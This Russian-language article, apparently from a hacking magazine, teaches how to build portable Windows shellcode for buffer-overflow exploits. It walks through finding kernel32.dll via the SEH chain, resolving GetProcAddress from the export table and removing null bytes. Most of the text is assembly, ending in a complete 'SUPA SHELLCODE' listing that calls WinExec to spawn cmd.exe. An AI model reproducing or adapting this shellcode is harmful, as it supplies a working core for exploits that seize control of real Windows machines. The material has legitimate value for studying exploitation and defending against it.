Всё чаще и чаще обсуждаются аспекты атак на Windows системы. Основные
возможности атак на семейство данных систем были уже рассмотрены, но не стоит
забывать о том, что при построении атаки на переполнение буфера в большинстве
случаев атакующий сталкивается с построением шелл кода. Шелл код это двоичный
код, который выполняется в контексте другой программы. Когда уязвимость уже
обнаружена и начинается написания эксплоита необходимо для себя решить, будет ли
эксплоит зависеть только от версии уязвимой программы или ещё он будет зависеть
от версии операционной системы. Если атакующий хочет, чтобы его эксплоит
работал на большинстве систем, то ему необходимо построить шелл код, который бы
не опирался на «жёсткие» адреса WIN API функций.

Для построения такого рода кода необходимо, чтобы шелл код выполнял следующим
требованиям:

  1. Поиск адреса ядра (kernel32.dll)
  2. Поиск адреса WIN API функции GetProcAddress
  3. Поиск адресов других WIN API функций при помощи
    функции GetProcAddress
  4. Запуск необходимых нам WIN API функций по найденным адресам

Каким образом возможно удовлетворить первому требованию? При запуске любой 
программы в операционных системах семейства Windows она вызывается из ядра.
Поэтому первый и относительно сложный способ поиска адреса ядра основан на
поиске в стэке. Но если мы воспользуемся этим способом, то наш шелл код станет
очень большим, поэтому мы пойдём другим путём.
Второй способ обнаружения адреса ядра это при помощи
SEH’a. Что же такое SEH? Это структурированный обработчик исключений, вот к примеру
если мы пытаемся писать в ядро, то будет вызываться исключение и обрабатываться
оно будет при помощи SEH’a. Адрес обработчика исключений всегда лежит внутри
ядра так, что для поиска адреса ядра нам всего лишь необходимо найти последний
обработчик. По адресу fs:[0] лежит номер текущего обработчика исключений. Ищем
пока не найдём 0xFFFFFFFF (номер системного обработчика). Этот адрес, в отличии
от адреса ф-ции ExitThread в NT, всегда лежит в kernel32.dll.

Рассмотрим пример поиска адреса
kernel’a:

mov eax, fs:[ebx] ; Указатель на список обработчиков
inc eax ; Увеличиваем eax на 1
next_seh:
xchg eax, ebx ; Обмениваем содержимое eax c ebx
mov eax, [ebx-1] ; Номер текущего обработчика
inc eax ; Увеличиваем eax на 1
jnz next_seh ; Является ли он системным (-1)?
mov edx, [ebx-1+4] ; Адрес обработчика
xchg ax, dx ; Эквивалентно xor dx,dx (eax=0)

xor eax,eax ; Обнуляем eax

mov ax,1001h ; Помещаем в eax
dec ax ; 1000
next_block:
cmp word ptr [edx],’ZM’ ; Начало?
je found_MZ ; ДА!
sub edx,eax ; Ищем дальше
jmp next_block
found_MZ: 
mov ebx,edx ; Сохраним указатель
mov edi,dword ptr [edx+3Ch] ; Адрес PE заголовка
add edi,edx ; +Адрес kernel’a
cmp word ptr [edi],’EP’ ; Проверка на PE
jne Exit ; Не равно — выходим

В результате работы данного куска кода у нас в
регистре edx будет находиться адрес ядра. Данный код специально модифицирован таким образом, чтобы в нём не
было нулевых байт.

Теперь перейдём к поиску адреса функции GetProcAddress.
Поиск данной функции  используется в большинстве современных вирусов ориентированных на Windows
системы.

По определённому смещению в «PE» заголовке мы можем найти адрес таблицы
экспортов. В таблице экспортов узнаем количество указателей на функции,
расположение таблицы указателей имен и адрес таблицы ординалов. Перебираем
указатели (и ординалы), проверяя при этом имена функций на которые они указывают
на совпадение с «GetProcAddress». При совпадении возьмем ординал и по таблице
адресов мы получим адрес функции.

Рассмотрим пример поиска адреса функции
GetProcAddress:

mov ebx,edx ; Сохраним указатель
mov edi,dword ptr [edx+3Ch] ; Адрес PE заголовка
add edi,edx ; +Адрес kernel’a
cmp word ptr [edi],’EP’ ; Проверка на PE
jne Exit ; Не равно — выходим
push edx ; Сохраним адрес kernel’a

add ebx,[edi+78h] ; Получим адрес таблицы эксп.
mov ecx,[ebx+18h] ; Количество указателей
mov esi,[ebx+20h] ; Указатель на таблицу указателей имен
mov edi,[ebx+24h] ; Указатель на таблицу ординалов
add esi,edx ; Адр. таблицы имен в памяти
add edi,edx ; Адр. таблицы ординалов в памяти
cld ; Поиск вперед
add ebp,8 ; ebp указывает на следующую строку
Search: ; Ищем функцию GetProcAddress
lodsd ; Берем указатель из таблицы указателей 
add eax,edx ; Получаем адрес памяти
xchg esi,eax ; В esi указетль на имя найденной ф-ции

xchg edi,ebp ; 
; Указываем на имя нужной нам фунции
push ecx ; Кладём ecx в стэк
xor ecx,ecx ; Обнуляем ecx
add cl,15 ; Размер строки
repe cmpsb ; Сравниваем
jc restore1
rest2:
xchg esi,eax ; Восстановим значение esi

pop ecx ; Восстановим кол-во указателей
xchg edi,ebp ; Восстановим указатель на ординалы

je Found ; Нашли!
inc edi ; Нет — пробуем следующую ф-цию
inc edi ; Указатель на следующий ординал
loop Search
jmp Exit
restore1:
xor esi,esi ; 
mov si,61125 ; Помещаем в esi число 15
sub si,61110 ;

sub esi,ecx ; Восстанавливаем указатель (edi) на 
sub edi,esi ; Начало строки
jmp rest2 ;
Found:
xor eax,eax ; Обнуляем eax
mov ax,word ptr [edi]

; Возьмем ординал
shl eax,2 ; Умножим на размер ординала
mov esi,[ebx+1Ch] ; Указатель на таблицу адресов
add esi,edx ; Получим адрес начала таблицы адресов
add esi,eax ; И адрес нужной ф-ции
lodsd ; Прочитаем
add eax,edx ; Добавим адрес kernel’a

В начале этого кода в edx хранится адрес kernel’a, а в конце в eax хранится
адрес функции GetProcAddress.

Третье и четвёртое требование выполняются достаточно легко. Для этого необходимо
знание с какими параметрами запускаются необходимые нам WIN API функции.

Теперь построим переносимый шелл код для локальной атаки на Win32 ситемы:

;—————
.386 
.model flat, stdcall 

extrn ExitProcess:proc 

.data 
start: 

;—————[SUPA SHELLCODE]———
Getproc:

mov esi,esp ; esi указывает на вершину стэка
xor ecx,ecx ; обнуляем ecx
mov cl,169 ; ecx указывает на текстовую строку
; ‘WinExec’
add esi,ecx ; И esi теперь указывет на ‘WinExec’
push esi ; Кладём esi в стэк
mov ebp,esi ; И ebp теперь указывет на ‘WinExec’

mov edi,esi ; И edi теперь указывет на ‘WinExec’
xor ecx,ecx ; Обнуляем ecx
mov cl,27 ; И кладём в cl 27
xor1: lodsb ; Загружаем в al байт 
cmp al,01 ; Проверяем 1 это или нет
jne nextb ; Если нет ищем дальше
xor al,01 ; Если 1, то обнуляем его и
nextb:
stosb ; Возвращаем на место
loop xor1 ; Таким образом мы восстанавливаем
; Все нужные нам нули
xor ebx,ebx ; Обнуляем ebx

mov eax, fs:[ebx] ; Указатель на список обработчиков
inc eax ; Увеличиваем eax на 1
next_seh:
xchg eax, ebx ; Обмениваем содержимое eax c ebx
mov eax, [ebx-1] ; Номер текущего обработчика
inc eax ; Увеличиваем eax на 1
jnz next_seh ; Является ли он системным (-1)?
mov edx, [ebx-1+4] ; Адрес обработчика
xchg ax, dx ; Эквивалентно xor dx,dx (eax=0)

xor eax,eax ; Обнуляем eax

mov ax,1001h ; Помещаем в eax
dec ax ; 1000
next_block:
cmp word ptr [edx],’ZM’ ; Начало?
je found_MZ ; ДА!
sub edx,eax ; Ищем дальше
jmp next_block
found_MZ: 
mov ebx,edx ; Сохраним указатель
mov edi,dword ptr [edx+3Ch] ; Адрес PE заголовка
add edi,edx ; +Адрес kernel’a
cmp word ptr [edi],’EP’ ; Проверка на PE
jne Exit ; Не равно — выходим
push edx ; Сохраним адрес kernel’a

add ebx,[edi+78h] ; Получим адрес таблицы эксп.
mov ecx,[ebx+18h] ; Количество указателей
mov esi,[ebx+20h] ; Указатель на таблицу указателей имен
mov edi,[ebx+24h] ; Указатель на таблицу ординалов
add esi,edx ; Адр. таблицы имен в памяти
add edi,edx ; Адр. таблицы ординалов в памяти
cld ; Поиск вперед
add ebp,8 ; ebp указывает на следующую строку
Search: ; Ищем функцию GetProcAddress
lodsd ; Берем указатель из таблицы указателей 
add eax,edx ; Получаем адрес памяти
xchg esi,eax ; В esi указетль на имя найденной ф-ции

xchg edi,ebp ; 
; Указываем на имя нужной нам фунции
push ecx ; Кладём ecx в стэк
xor ecx,ecx ; Обнуляем ecx
add cl,15 ; Размер строки
repe cmpsb ; Сравниваем
jc restore1
rest2:
xchg esi,eax ; Восстановим значение esi

pop ecx ; Восстановим кол-во указателей
xchg edi,ebp ; Восстановим указатель на ординалы

je Found ; Нашли!
inc edi ; Нет — пробуем следующую ф-цию
inc edi ; Указатель на следующий ординал
loop Search
jmp Exit
restore1:
xor esi,esi ; 
mov si,61125 ; Помещаем в esi число 15
sub si,61110 ;

sub esi,ecx ; Восстанавливаем указатель (edi) на 
sub edi,esi ; Начало строки
jmp rest2 ;
Found:
xor eax,eax ; Обнуляем eax
mov ax,word ptr [edi]

; Возьмем ординал
shl eax,2 ; Умножим на размер ординала
mov esi,[ebx+1Ch] ; Указатель на таблицу адресов
add esi,edx ; Получим адрес начала таблицы адресов
add esi,eax ; И адрес нужной ф-ции
lodsd ; Прочитаем
add eax,edx ; Добавим адрес kernel’a

call eax ; Получаем адрес функции WinExec

push 1 ; Заполняем стэк
push ebp ;

call eax ; Запускаем «cmd.exe»
Exit: 
;—————
db ‘WinExec’,01
db ‘GetProcAddress’,01
db ‘cmd’,01
konec:

.code
;—————
nop
;—————
end start 
end 

;—————

Вот мы и построили переносимый шелл код для 32 битных систем семейства Windows.

Оставить мнение

Check Also

Ручная распаковка. Вскрываем кастомный пакер на примере вымогателя GlobeImposter 2.0

При реверсе вирусов зачастую обнаруживается, что малварь накрыта какой-нибудь «навесной» з…